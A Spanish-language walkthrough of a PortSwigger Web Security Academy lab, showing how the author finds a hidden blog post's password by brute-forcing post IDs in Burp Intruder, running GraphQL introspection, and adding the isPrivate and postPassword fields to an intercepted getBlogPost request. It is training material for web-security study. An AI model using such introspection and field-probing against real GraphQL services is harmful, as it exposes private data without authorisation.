Acceso a posts GraphQL privados
| Plataforma | PortSwigger Web Security Academy |
|---|---|
| Dificultad | 📗 Fácil |
| Sistema operativo | 🐧 Linux |
| Estado | Terminada |
| Técnicas | #web#graphql |
| Extensión | 213 palabras · 1 min |
| Máquina original | https://portswigger.net/web-security/graphql/lab-graphql-reading-private-posts |
Acceso a posts GraphQL privados
Plataforma: PortSwigger Web Security Academy | Dificultad: Fácil | IP:
<IP>
📝 Resumen
Máquina de tipo facil en la que se tiene un post de un blog que contiene una contraseña secreta. Simplemente hay que encontrar el post.
🔍 Empezamos el lab

Vemos un simple blog que contiene varios post

¿Qué pasa si simplemente cambiamos la url?
https://0aea00760485da8580607b1600f600a2.web-security-academy.net/post?postId=1
Si nos vamos al intruder de burp nos permite hacer fuerza bruta númerica a los postId, hasta encontrar el oculto. A simple vista, solo he visto el post 1, 2, 4 y 5. Pruebo con el 3 pero me dice "Not found".
Intruder de Brup
Haremos fuerza bruta desde el post 1 al 300


Parece que no encuentra nada, pues ordenando por longitud nos aparece lo que ya teníamos. Puesto que el lab es de GraphQL vamos a investigar por otro lado.
Si intercepto la petición que llama a un post y analizo la response, me da varias responses. Una de ellas es
http1POST /graphql/v1 HTTP/1.1 2Host: 0aea00760485da8580607b1600f600a2.web-security-academy.net 3Cookie: session=8A4ylFwfHOFAh9CkS6NxYaOxS1bTgzcG 4Content-Length: 249 5Sec-Ch-Ua-Platform: "Windows" 6Accept-Language: es-ES,es;q=0.9 7Accept: application/json 8Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146" 9Content-Type: application/json 10Sec-Ch-Ua-Mobile: ?0 11User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 12Origin: https://0aea00760485da8580607b1600f600a2.web-security-academy.net 13Sec-Fetch-Site: same-origin 14Sec-Fetch-Mode: cors 15Sec-Fetch-Dest: empty 16Referer: https://0aea00760485da8580607b1600f600a2.web-security-academy.net/post?postId=4 17Accept-Encoding: gzip, deflate, br 18Priority: u=1, i 19Connection: keep-alive 20 21{"query":"\n query getBlogPost($id: Int!) {\n getBlogPost(id: $id) {\n image\n title\n author\n date\n paragraphs\n }\n }","operationName":"getBlogPost","variables":{"id":3}}
Volvemos al intruder pero está vez con esta petición. Nos sale un post oculto, pero sin contraseña.
Hacemos click derecho en el repeater GraphQL -> Set Introspection Query Y ahora si, con ayuda de una IA obtenemos esta query
http1{ 2 "query": "query getBlogPost($id: Int!) { getBlogPost(id: $id) { image title author date paragraphs isPrivate postPassword } }", 3 "operationName": "getBlogPost", 4 "variables": { "id": 3 } 5}
Que esta vez si nos da la flag: yw4lq18vtp2c6fccztsd4xlk913dxaxf
